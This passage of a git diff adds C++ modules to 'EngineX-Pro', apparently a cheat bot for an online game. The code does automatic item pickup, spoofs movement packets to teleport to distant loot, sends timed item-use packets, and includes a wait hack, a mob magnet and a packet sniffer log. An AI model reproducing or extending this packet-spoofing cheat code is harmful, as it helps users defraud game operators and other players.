OnTabbarBS(); + ImGui::EndTabItem(); + } + } + ImGui::EndTabBar(); + ImGui::EndTable(); + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(32, "Inventory"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 32: + OnTab1(); + break; + } + } +}; \ No newline at end of file diff --git a/EngineX-Pro/Item.h b/EngineX-Pro/Item.h new file mode 100644 index 0000000..3ef7bdf --- /dev/null +++ b/EngineX-Pro/Item.h @@ -0,0 +1,435 @@ +#pragma once +class Item :public IAbstractModuleBase, public Singleton +{ + vector ItemsListDisplay; +private: + + + + + + map< DWORD, pair> itemPickupFilteredList; + string filterItemLine= string(60, 0x00);; + string filterItemLineLast = string(60, 0x00);; + + string newFileName; + int currentIndex = 0; + + DWORD itemPickupFilteredListSelected = 0; + DWORD itemPickupSelectedListSelected = 0; +public: + void OnStart() + { + + } + void OnStop() + { + + } + + void OnRender() + { + } + + void OnTab1() + { + /*if (!Globals::itemProtoList.size()) + { + Globals::itemProtoList = GameFunctionsCustom::GetItemProtoList(); + }*/ + if (!Globals::itemProtoNames.size()) + { + Globals::itemProtoNames = GameFunctionsCustom::GetItemProtoNames(); + } + + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("PickupBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("Pickup Enable", &Settings::ITEM_PICKUP_ENABLE); ImGui::SameLine(); + ImGui::RadioButton("Normal", &Settings::ITEM_PICKUP_TYPE, 0); ImGui::SameLine(); + ImGui::RadioButton("Range", &Settings::ITEM_PICKUP_TYPE, 1); + ImGui::PushItemWidth(150); ImGui::SliderInt("Delay(ms)", &Settings::ITEM_PICKUP_TIME, 0, 3000); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputInt("Distance", &Settings::ITEM_PICKUP_DISTANCE, 100, 1000); ImGui::SameLine(); + ImGui::PushItemWidth(100); ImGui::InputInt("Step", &Settings::ITEM_PICKUP_STEP, 100, 1000); + ImGui::Separator(); + ImGui::Checkbox("Filter", &Settings::ITEM_PICKUP_FILTER_ENABLE); ImGui::SameLine(); + ImGui::InputText("Search", &filterItemLine[0], filterItemLine.size()); + ImGui::Columns(2, "PickupList", false); + ImGui::BeginChild("ItemProtoList", ImVec2(225, 160), true); + if (strlen(&filterItemLine[0]) >= 2) + { + if (filterItemLine != filterItemLineLast) + { + filterItemLineLast = filterItemLine; + itemPickupFilteredList.clear(); + for (map::iterator itor = Globals::itemProtoNames.begin(); itor != Globals::itemProtoNames.end(); itor++) + { + switch (Globals::Server) + { + case ServerName::AELDRA: + { + if (!StringExtension::Equals(itor->second, "") && StringExtension::Contains(itor->second, filterItemLine.c_str())) + { + itemPickupFilteredList.insert(std::make_pair(itor->first, std::make_pair(string(itor->second) + " " + to_string(itor->first), false))); + } + break; + } + default: + { + if (!StringExtension::Equals(itor->second, "") && StringExtension::Contains(itor->second, filterItemLine.c_str())) + { + itemPickupFilteredList.insert(std::make_pair(itor->first, std::make_pair(StringExtension::ASCIIToUTF8(itor->second) + " " + to_string(itor->first), false))); + } + break; + } + } + } + } + } + if (!itemPickupFilteredList.size()) + { + ImGui::Text("Type 3 Letters..."); + } + else + { + for (map< DWORD, pair>::iterator itor = itemPickupFilteredList.begin(); itor != itemPickupFilteredList.end(); itor++) + { + if (ImGui::Selectable(itor->second.first.c_str(), itor->second.second)) + { + itemPickupFilteredListSelected = itor->first; + } + if (itor->first == itemPickupFilteredListSelected) + { + itor->second.second = true; + } + else + { + itor->second.second = false; + } + + } + } + ImGui::EndChild(); + ImGui::NextColumn(); + ImGui::BeginChild("ItemProtoListFiltered", ImVec2(225, 160), true); + for (map< DWORD, pair>::iterator itor = Settings::ITEM_PICKUP_SELECTED_LIST.begin(); itor != Settings::ITEM_PICKUP_SELECTED_LIST.end(); itor++) + { + if (ImGui::Selectable(itor->second.first.c_str(), itor->second.second)) + { + itemPickupSelectedListSelected = itor->first; + } + if (itor->first == itemPickupSelectedListSelected) + { + itor->second.second = true; + } + else + { + itor->second.second = false; + } + } + ImGui::EndChild(); + ImGui::EndColumns(); + if (ImGui::Button("Add")) + { + for (map< DWORD, pair>::iterator itor = itemPickupFilteredList.begin(); itor != itemPickupFilteredList.end(); itor++) + { + if (itor->second.second) + { + if (Settings::ITEM_PICKUP_SELECTED_LIST.count(itor->first)) + { + + } + else + { + Settings::ITEM_PICKUP_SELECTED_LIST.insert(std::make_pair(itor->first, std::make_pair(itor->second.first, false))); + } + + } + + } + } + ImGui::SameLine(); ImGui::Dummy(ImVec2(200.0f, 0.0f)); ImGui::SameLine(); + if (ImGui::Button("Remove")) + { + + DWORD key = 0; + for (map< DWORD, pair>::iterator itor = Settings::ITEM_PICKUP_SELECTED_LIST.begin(); itor != Settings::ITEM_PICKUP_SELECTED_LIST.end(); itor++) + { + if (itor->second.second) + { + + key = itor->first; + } + + } + Settings::ITEM_PICKUP_SELECTED_LIST.erase(key); + + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab2() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + + static float ITEM_SLOT_RANDOM_MIN_TIME; + static float ITEM_SLOT_RANDOM_MAX_TIME; + + ImGui::BeginChild("SlotsBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("Random +/- (s.ms)", &Settings::ITEM_SLOT_RANDOM_ENABLE); /*ImGui::SameLine();*/ + ImGui::InputFloatMinMax("Min", &Settings::ITEM_SLOT_RANDOM_MIN_TIME, 0.0f, 100.0f, 0.100, 1); + ImGui::InputFloatMinMax("Max", &Settings::ITEM_SLOT_RANDOM_MAX_TIME, 0.0f, 100.0f, 0.100, 1); + + ImGui::Separator(); + ImGui::Text("Slots(s.ms)"); + if (ImGui::BeginTable("##table1", 3)) + { + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot3time", &Settings::ITEM_SLOT_3_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("3", &Settings::ITEM_SLOT_3_ENABLE); + ImGui::TableSetColumnIndex(1); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot4time", &Settings::ITEM_SLOT_4_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("4", &Settings::ITEM_SLOT_4_ENABLE); + ImGui::TableSetColumnIndex(2); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot5time", &Settings::ITEM_SLOT_5_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("5", &Settings::ITEM_SLOT_5_ENABLE); + + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot6time", &Settings::ITEM_SLOT_6_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("6", &Settings::ITEM_SLOT_6_ENABLE); + ImGui::TableSetColumnIndex(1); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot7time", &Settings::ITEM_SLOT_7_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("7", &Settings::ITEM_SLOT_7_ENABLE); + ImGui::TableSetColumnIndex(2); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot8time", &Settings::ITEM_SLOT_8_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("8", &Settings::ITEM_SLOT_8_ENABLE); + + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot9time", &Settings::ITEM_SLOT_9_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("9", &Settings::ITEM_SLOT_10_ENABLE); + ImGui::TableSetColumnIndex(1); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot10time", &Settings::ITEM_SLOT_10_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("10", &Settings::ITEM_SLOT_10_ENABLE); + ImGui::TableSetColumnIndex(2); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot11time", &Settings::ITEM_SLOT_11_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("11", &Settings::ITEM_SLOT_11_ENABLE); + + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot12time", &Settings::ITEM_SLOT_12_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("12", &Settings::ITEM_SLOT_12_ENABLE); + ImGui::TableSetColumnIndex(1); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot13time", &Settings::ITEM_SLOT_13_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("13", &Settings::ITEM_SLOT_14_ENABLE); + ImGui::TableSetColumnIndex(2); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot14time", &Settings::ITEM_SLOT_14_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("14", &Settings::ITEM_SLOT_14_ENABLE); + + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot15time", &Settings::ITEM_SLOT_15_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("15", &Settings::ITEM_SLOT_15_ENABLE); + ImGui::TableSetColumnIndex(1); + ImGui::PushItemWidth(100); ImGui::InputFloat("##slot15time", &Settings::ITEM_SLOT_16_TIME, 0.100, 1); ImGui::SameLine(); + ImGui::Checkbox("16", &Settings::ITEM_SLOT_16_ENABLE); + ImGui::EndTable(); + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(14, "Pickup"); + MainForm::AddTab(15, "Slots"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 14: + OnTab1(); + break; + case 15: + OnTab2(); + break; + } + } + + void OnUpdate() + { + + if (Settings::GLOBAL_SWITCH_ENABLE && GameFunctionsCustom::PlayerIsInstance()) + { + Pickup(); + Slots(); +//#ifdef VIDGAR +// vector eraseList; +// for (map::iterator itor = Globals::GroundItemList.begin(); itor != Globals::GroundItemList.end(); itor++) +// { +// D3DVECTOR playerPosition = GameFunctionsCustom::PlayerGetPixelPosition(); +// LONG GlobalX = playerPosition.x; +// LONG GlobalY = playerPosition.y; +// float Distance = MiscExtension::CountDistanceTwoPoints(GlobalX, GlobalY, itor->second->v3EndPosition.x, -itor->second->v3EndPosition.y); +// if (Distance > 30000) +// { +// eraseList.push_back(itor->first); +// } +// } +// for (auto itor = eraseList.begin(); itor != eraseList.end(); itor++) +// { +// Globals::GroundItemList.erase(*itor); +// } +//#endif + } + + } + void Slots() + { + float randomMinMax = 0; + if (Settings::ITEM_SLOT_RANDOM_ENABLE) + { + randomMinMax = MiscExtension::RandomFloat(Settings::ITEM_SLOT_RANDOM_MIN_TIME, Settings::ITEM_SLOT_RANDOM_MAX_TIME); + } + if ( Settings::ITEM_SLOT_3_ENABLE && DynamicTimer::CheckAutoSet ("UseSlot3", (randomMinMax + Settings::ITEM_SLOT_3_TIME) *1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 2)); + } + if (Settings::ITEM_SLOT_4_ENABLE && DynamicTimer::CheckAutoSet("UseSlot4", (randomMinMax + Settings::ITEM_SLOT_4_TIME)* 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 3)); + } + if (Settings::ITEM_SLOT_5_ENABLE && DynamicTimer::CheckAutoSet("UseSlot5", (randomMinMax + Settings::ITEM_SLOT_5_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 4)); + } + if (Settings::ITEM_SLOT_6_ENABLE && DynamicTimer::CheckAutoSet("UseSlot6", (randomMinMax + Settings::ITEM_SLOT_6_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 5)); + } + if (Settings::ITEM_SLOT_7_ENABLE && DynamicTimer::CheckAutoSet("UseSlot7", (randomMinMax + Settings::ITEM_SLOT_7_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 6)); + } + if (Settings::ITEM_SLOT_8_ENABLE && DynamicTimer::CheckAutoSet("UseSlot8", (randomMinMax + Settings::ITEM_SLOT_8_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 7)); + + } + if (Settings::ITEM_SLOT_9_ENABLE && DynamicTimer::CheckAutoSet("UseSlot9", (randomMinMax + Settings::ITEM_SLOT_9_TIME )* 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 8)); + } + if (Settings::ITEM_SLOT_10_ENABLE && DynamicTimer::CheckAutoSet("UseSlot10", (randomMinMax + Settings::ITEM_SLOT_10_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 9)); + } + if (Settings::ITEM_SLOT_11_ENABLE && DynamicTimer::CheckAutoSet("UseSlot11", (randomMinMax + Settings::ITEM_SLOT_11_TIME )* 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 10)); + } + if (Settings::ITEM_SLOT_12_ENABLE && DynamicTimer::CheckAutoSet("UseSlot12", (randomMinMax + Settings::ITEM_SLOT_12_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 11)); + } + if (Settings::ITEM_SLOT_13_ENABLE && DynamicTimer::CheckAutoSet("UseSlot13", (randomMinMax + Settings::ITEM_SLOT_13_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 12)); + } + if (Settings::ITEM_SLOT_14_ENABLE && DynamicTimer::CheckAutoSet("UseSlot14", (randomMinMax + Settings::ITEM_SLOT_14_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 13)); + } + if (Settings::ITEM_SLOT_15_ENABLE && DynamicTimer::CheckAutoSet("UseSlot15", (randomMinMax + Settings::ITEM_SLOT_15_TIME )* 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 14)); + } + if (Settings::ITEM_SLOT_16_ENABLE && DynamicTimer::CheckAutoSet("UseSlot16", (randomMinMax + Settings::ITEM_SLOT_16_TIME) * 1000)) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 15)); + } + } + void Pickup() + { + if (DynamicTimer::CheckAutoSet("PickUp", Settings::ITEM_PICKUP_TIME) && Settings::ITEM_PICKUP_ENABLE) + { + map groundItemList = GameFunctionsCustom::GetGroundItemList(); + for (map::iterator itor = groundItemList.begin(); itor != groundItemList.end(); itor++) + { + DWORD itemVID = itor->first; + TGroundItemInstance* groundItemInstance = itor->second; + if (Settings::ITEM_PICKUP_FILTER_ENABLE) + { + if (!Settings::ITEM_PICKUP_SELECTED_LIST.count(groundItemInstance->dwVirtualNumber)) + { + continue; + } + } + D3DVECTOR playerPosition = GameFunctionsCustom::PlayerGetPixelPosition(); + float distance = MiscExtension::CountDistanceTwoPoints(playerPosition.x, playerPosition.y, groundItemInstance->v3EndPosition.x, -groundItemInstance->v3EndPosition.y); + switch (Settings::ITEM_PICKUP_TYPE) + { + case 0://normal + if (distance < 300) + { + GameFunctions::NetworkStreamSendItemPickUpPacket(itemVID); + if (Settings::ITEM_PICKUP_TIME == 0) + { + continue; + } + else + { + return; + } + + } + break; + case 1://range + if (distance < 300) + { + GameFunctions::NetworkStreamSendItemPickUpPacket(itemVID); + if (Settings::ITEM_PICKUP_TIME == 0) + { + continue; + } + else + { + return; + } + } + else if (distance > 300 && distance < Settings::ITEM_PICKUP_DISTANCE) + { + vector< D3DVECTOR> steps = MiscExtension::DivideTwoPointsByDistance(Settings::ITEM_PICKUP_STEP, playerPosition, D3DVECTOR{ groundItemInstance->v3EndPosition.x, -groundItemInstance->v3EndPosition.y, groundItemInstance->v3EndPosition.z }); + int i = 0; + for (vector< D3DVECTOR>::iterator it = steps.begin(); it != steps.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + } + GameFunctions::NetworkStreamSendItemPickUpPacket(itemVID); + steps = MiscExtension::DivideTwoPointsByDistance(Settings::ITEM_PICKUP_STEP, D3DVECTOR{ groundItemInstance->v3EndPosition.x, -groundItemInstance->v3EndPosition.y, groundItemInstance->v3EndPosition.z }, playerPosition); + for (vector< D3DVECTOR>::iterator it = steps.begin(); it != steps.end(); ++it) + { + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + } + if (Settings::ITEM_PICKUP_TIME == 0) + { + continue; + } + else + { + return; + } + } + break; + } + } + + } + } +}; \ No newline at end of file diff --git a/EngineX-Pro/Locale.h b/EngineX-Pro/Locale.h new file mode 100644 index 0000000..29f5971 --- /dev/null +++ b/EngineX-Pro/Locale.h @@ -0,0 +1,3 @@ +#pragma once + +#define FISH_STRING_1 "" diff --git a/EngineX-Pro/Logger.h b/EngineX-Pro/Logger.h new file mode 100644 index 0000000..aae99d4 --- /dev/null +++ b/EngineX-Pro/Logger.h @@ -0,0 +1,255 @@ +#pragma once +class Logger +{ +public: + enum LogType + { + MAIN, + FISH, + SNIFFER, + }; + + enum + { + RED, + BLACK, + BLUE, + GREEN, + WHITE, + PINK, + YELLOW + }; + + class LogWindow + { + enum + { + RED, + BLACK, + BLUE, + GREEN, + WHITE, + PINK, + YELLOW + }; + class LogLine + { + public: + vector< ImColor> colors; + vector text; + }; + public: + LogWindow() + { + logLinesMain.push_back(std::make_shared < LogLine>()); + logLinesFish.push_back(std::make_shared < LogLine>()); + logLinesSniffer.push_back(std::make_shared < LogLine>()); + } + + vector< std::shared_ptr> logLinesMain; + vector< std::shared_ptr> logLinesFish; + vector< std::shared_ptr> logLinesSniffer; + + bool ScrollToBottom; + LogType CurrentLogs; + + ImVec4 GetColor(int color) + { + switch (color) + { + case RED: + return ImColor(255, 1, 1, 255); + break; + case BLACK: + return ImColor(1, 1, 1, 255); + break; + case GREEN: + return ImColor(1, 255, 1, 255); + break; + case WHITE: + return ImColor(255, 255, 255, 255); + break; + case YELLOW: + return ImColor(255, 255, 0, 255); + break; + case PINK: + return ImColor(255, 0, 255, 255); + break; + } + } + + void Clear() + { + switch (CurrentLogs) + { + case LogType::MAIN: + logLinesMain.clear(); + logLinesMain.push_back(std::make_shared < LogLine>()); + break; + case LogType::FISH: + logLinesFish.clear(); + logLinesFish.push_back(std::make_shared < LogLine>()); + break; + case LogType::SNIFFER: + logLinesSniffer.clear(); + logLinesSniffer.push_back(std::make_shared < LogLine>()); + break; + } + } + + void Log(LogType type, bool isNewLine, int color, const char* fmt, ...) + { + va_list args; + + va_start(args, fmt); + string log = StringExtension::StringFormat(fmt, args); + va_end(args); + + switch (type) + { + case LogType::MAIN: + logLinesMain[logLinesMain.size() - 1]->colors.push_back(GetColor(color)); + logLinesMain[logLinesMain.size() - 1]->text.push_back(log); + if (isNewLine) + { + logLinesMain.push_back(std::make_shared < LogLine>()); + } + break; + case LogType::FISH: + logLinesFish[logLinesFish.size() - 1]->colors.push_back(GetColor(color)); + logLinesFish[logLinesFish.size() - 1]->text.push_back(log); + if (isNewLine) + { + logLinesFish.push_back(std::make_shared < LogLine>()); + } + break; + case LogType::SNIFFER: + logLinesSniffer[logLinesSniffer.size() - 1]->colors.push_back(GetColor(color)); + logLinesSniffer[logLinesSniffer.size() - 1]->text.push_back(log); + if (isNewLine) + { + logLinesSniffer.push_back(std::make_shared < LogLine>()); + } + break; + } + /*va_list args; + va_start(args, fmt); + Buf.appendfv(fmt, args); + va_end(args);*/ + ScrollToBottom = true; + } + + void Draw(bool* isOpen = NULL) + { + ImGui::SetNextWindowSize(ImVec2(500, 400)); + if (!ImGui::Begin("Log Window", isOpen)) + { + ImGui::End(); + return; + } + ImGui::RadioButton("Main", (int*)&CurrentLogs, LogType::MAIN); ImGui::SameLine(); + ImGui::RadioButton("Fish", (int*)&CurrentLogs, LogType::FISH); ImGui::SameLine(); +#ifdef DEVELOPER_MODE + ImGui::RadioButton("Sniffer", (int*)&CurrentLogs, LogType::SNIFFER); +#endif + if (ImGui::Button("Clear")) + { + Clear(); + } + ImGui::SameLine(); + bool copy = ImGui::Button("Copy"); + ImGui::SameLine(); + /*Filter.Draw("Filter", -100.0f);*/ + ImGui::Separator(); + ImGui::BeginChild("scrolling", ImVec2(0, 0), false, ImGuiWindowFlags_HorizontalScrollbar); + if (copy) + { + ImGui::LogToClipboard(); + } + + std::vector< std::shared_ptr< LogLine>>::iterator begin; + std::vector< std::shared_ptr< LogLine>>::iterator end; + switch (CurrentLogs) + { + case LogType::MAIN: + begin = logLinesMain.begin(); + end = logLinesMain.end(); + break; + case LogType::FISH: + begin = logLinesFish.begin(); + end = logLinesFish.end(); + break; + case LogType::SNIFFER: + begin = logLinesSniffer.begin(); + end = logLinesSniffer.end(); + break; + } + for (std::vector< std::shared_ptr< LogLine>>::iterator it = begin; it != end; ++it) + { + for (int i = 0; i < it->get()->text.size(); i++) + { + if(i) + { + ImGui::SameLine(); + } + + ImGui::TextColored(it->get()->colors[i], it->get()->text[i].c_str()); + } + /*ImGui::TextColored(ImVec4(0.0f, 0.0f, 0.0f, 1.0f),"\n");*/ + } + + + if (ScrollToBottom) + { + ImGui::SetScrollHere(1.0f); + } + + ScrollToBottom = false; + ImGui::EndChild(); + ImGui::End(); + } + }; +private: + static LogWindow mainLogWindow; + static bool isMainLogWindowOpen; + public: + + static void AddString(int window, bool isNewLine, int color, string format, ...) + { + va_list args; + + va_start(args, format); + Add(window, isNewLine, color, format.c_str(), args); + va_end(args); + } + static void Add(int window, bool isNewLine, int color, const char* format, ...) + { + va_list args; + va_start(args, format); + /*string frm = StringExtension::StringFormat(format, args); + format = frm.c_str();*/ + switch (window) + { + case MAIN: + mainLogWindow.Log(LogType::MAIN, isNewLine, color, format, args); + break; + case FISH: + mainLogWindow.Log(LogType::FISH, isNewLine, color, format, args); + break; + case SNIFFER: + mainLogWindow.Log(LogType::SNIFFER, isNewLine, color, format/*, args*/); + break; + } + + va_end(args); + } + + static void Draw() + { + mainLogWindow.Draw(&isMainLogWindowOpen); + } +}; + +bool Logger::isMainLogWindowOpen = true; + +Logger::LogWindow Logger::mainLogWindow; \ No newline at end of file diff --git a/EngineX-Pro/Main.h b/EngineX-Pro/Main.h new file mode 100644 index 0000000..dc26858 --- /dev/null +++ b/EngineX-Pro/Main.h @@ -0,0 +1,1125 @@ + + + +#pragma once +class Main :public IAbstractModuleBase, public Singleton
+{ +private: + + DWORD lastTimeRefreshItemList = 0; + D3DVECTOR lastPosition = D3DVECTOR{ 0, 0, 0 }; + DWORD lastTimeBackToPosition = 0; + DWORD lastMiniMHRotation = 0; + DWORD lastTimeAttackEnable = 0; + DWORD lastWaitHackEnable = 0; + DWORD lastWaitHackSkillDelay = 0; + DWORD lastTimeUpdateIcons = 0; + bool playerUsingHorse = false; + bool autoReviveNeedWait = false; + DWORD lastMiniMHMoveSpeed = 0; + DWORD lastMiniMHAttackSpeed = 0; + + DWORD lastTimeStonesArrowShow = 0; + + DirectTexture texture_Skill_0; + DirectTexture texture_Skill_1; + DirectTexture texture_Skill_2; + DirectTexture texture_Skill_3; + DirectTexture texture_Skill_4; + DirectTexture texture_Skill_5; + DirectTexture texture_Skill_None; + + int chmuraCount = 50; + + void SetJobRaceTextures(int job, int race) + { + + texture_Skill_None = MainForm::ResourceMap["skill_none"]; + if (job == 0) + { + texture_Skill_0 = texture_Skill_None; + texture_Skill_1 = texture_Skill_None; + texture_Skill_2 = texture_Skill_None; + texture_Skill_3 = texture_Skill_None; + texture_Skill_4 = texture_Skill_None; + texture_Skill_5 = texture_Skill_None; + return; + } + else + { + } + if (race == 0 || race == 4) + { + if (job == 1) + { + + texture_Skill_0 = MainForm::ResourceMap["warrior_b_0"]; + texture_Skill_1 = MainForm::ResourceMap["warrior_b_1"]; + texture_Skill_2 = MainForm::ResourceMap["warrior_b_2"]; + texture_Skill_3 = MainForm::ResourceMap["warrior_b_3"]; + texture_Skill_4 = MainForm::ResourceMap["warrior_b_4"]; + texture_Skill_5 = MainForm::ResourceMap["warrior_b_5"]; + return; + } + if (job == 2) + { + + texture_Skill_0 = MainForm::ResourceMap["warrior_m_0"]; + texture_Skill_1 = MainForm::ResourceMap["warrior_m_1"]; + texture_Skill_2 = MainForm::ResourceMap["warrior_m_2"]; + texture_Skill_3 = MainForm::ResourceMap["warrior_m_3"]; + texture_Skill_4 = MainForm::ResourceMap["warrior_m_4"]; + texture_Skill_5 = MainForm::ResourceMap["warrior_m_5"]; + return; + } + } + + if (race == 1 || race == 5) + { + if (job == 1) + { + texture_Skill_0 = MainForm::ResourceMap["ninja_d_0"]; + texture_Skill_1 = MainForm::ResourceMap["ninja_d_1"]; + texture_Skill_2 = MainForm::ResourceMap["ninja_d_2"]; + texture_Skill_3 = MainForm::ResourceMap["ninja_d_3"]; + texture_Skill_4 = MainForm::ResourceMap["ninja_d_4"]; + texture_Skill_5 = MainForm::ResourceMap["ninja_d_5"]; + return; + } + if (job == 2) + { + texture_Skill_0 = MainForm::ResourceMap["ninja_a_0"]; + texture_Skill_1 = MainForm::ResourceMap["ninja_a_1"]; + texture_Skill_2 = MainForm::ResourceMap["ninja_a_2"]; + texture_Skill_3 = MainForm::ResourceMap["ninja_a_3"]; + texture_Skill_4 = MainForm::ResourceMap["ninja_a_4"]; + texture_Skill_5 = MainForm::ResourceMap["ninja_a_5"]; + return; + } + } + + if (race == 2 || race == 6) + { + if (job == 1) + { + texture_Skill_0 = MainForm::ResourceMap["sura_w_0"]; + texture_Skill_1 = MainForm::ResourceMap["sura_w_1"]; + texture_Skill_2 = MainForm::ResourceMap["sura_w_2"]; + texture_Skill_3 = MainForm::ResourceMap["sura_w_3"]; + texture_Skill_4 = MainForm::ResourceMap["sura_w_4"]; + texture_Skill_5 = MainForm::ResourceMap["sura_w_5"]; + return; + } + if (job == 2) + { + texture_Skill_0 = MainForm::ResourceMap["sura_b_0"]; + texture_Skill_1 = MainForm::ResourceMap["sura_b_1"]; + texture_Skill_2 = MainForm::ResourceMap["sura_b_2"]; + texture_Skill_3 = MainForm::ResourceMap["sura_b_3"]; + texture_Skill_4 = MainForm::ResourceMap["sura_b_4"]; + texture_Skill_5 = MainForm::ResourceMap["sura_b_6"]; + return; + } + } + + if (race == 3 || race == 7) + { + if (job == 1) + { + texture_Skill_0 = MainForm::ResourceMap["shaman_d_0"]; + texture_Skill_1 = MainForm::ResourceMap["shaman_d_1"]; + texture_Skill_2 = MainForm::ResourceMap["shaman_d_2"]; + texture_Skill_3 = MainForm::ResourceMap["shaman_d_3"]; + texture_Skill_4 = MainForm::ResourceMap["shaman_d_4"]; + texture_Skill_5 = MainForm::ResourceMap["shaman_d_5"]; + return; + } + if (job == 2) + { + texture_Skill_0 = MainForm::ResourceMap["shaman_h_0"]; + texture_Skill_1 = MainForm::ResourceMap["shaman_h_1"]; + texture_Skill_2 = MainForm::ResourceMap["shaman_h_2"]; + texture_Skill_3 = MainForm::ResourceMap["shaman_h_3"]; + texture_Skill_4 = MainForm::ResourceMap["shaman_h_4"]; + texture_Skill_5 = MainForm::ResourceMap["shaman_h_5"]; + return; + } + } + } + + +public: + + + void OnStart() + { + Settings::GLOBAL_SWITCH_ENABLE = true; + playerUsingHorse = GameFunctionsCustom::PlayerIsMountingHorse(); + lastPosition = GameFunctionsCustom::PlayerGetPixelPosition(); + + } + + void OnStop() + { + Settings::GLOBAL_SWITCH_ENABLE = false; + GameFunctions::PlayerSetAttackKeyState(false); + autoReviveNeedWait = false; + playerUsingHorse = false; + } + + void OnUpdate() + { + + if (GameFunctionsCustom::PlayerIsInstance()) + { + SetJobRaceTextures(GameFunctions::NetworkStreamGetMainActorSkillGroup(), GameFunctions::PlayerGetRace()); + } + else + { + SetJobRaceTextures(0, 0); + } + if (Settings::MAIN_POTION_ENABLE) + { + Potions(); + } + if (Settings::GLOBAL_SWITCH_ENABLE) + { + if (GameFunctionsCustom::PlayerIsInstance()) + { + bool canAttack = true; + Other(); + if (Revive()) + { + return; + } + if ((GetTickCount() - lastTimeBackToPosition) > 1200 && GameFunctionsCustom::PlayerGetDistance(lastPosition) > 200 && !playerUsingHorse && Settings::MAIN_ATTACK_ENABLE) + { + GameFunctionsCustom::LookAtDestPixelPosition(lastPosition); + GameFunctionsCustom::PlayerMoveToDestPixelPositionDirection(lastPosition); + + lastTimeBackToPosition = GetTickCount(); + } + if (Settings::MAIN_MOB_DETECT_ENABLE) + { + canAttack = IsAttackMobDistance(); + } + else + { + + } + + if (Settings::MAIN_MOBBER_ENABLE) + { + + if (DynamicTimer::CheckAutoSet("MobMagnet", 5000)) + { + GameFunctions::NetworkStreamSendUseSkillPacket(163, 0); + } + } + + Skill(); + WaitHack(); +#ifdef DEVELOPER_MODE + Odpychaj(); + Przyciagaj(); +#endif + if (Settings::MAIN_ATTACK_ENABLE) + { + GameFunctions::PlayerSetAttackKeyState(canAttack); + } + + + } + else + { + + + } + } + else + { + + + } + } + + void OnRender() + { + if (Settings::MAIN_WH_RENDER_ENABLE) + { + D3DVECTOR mainPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), 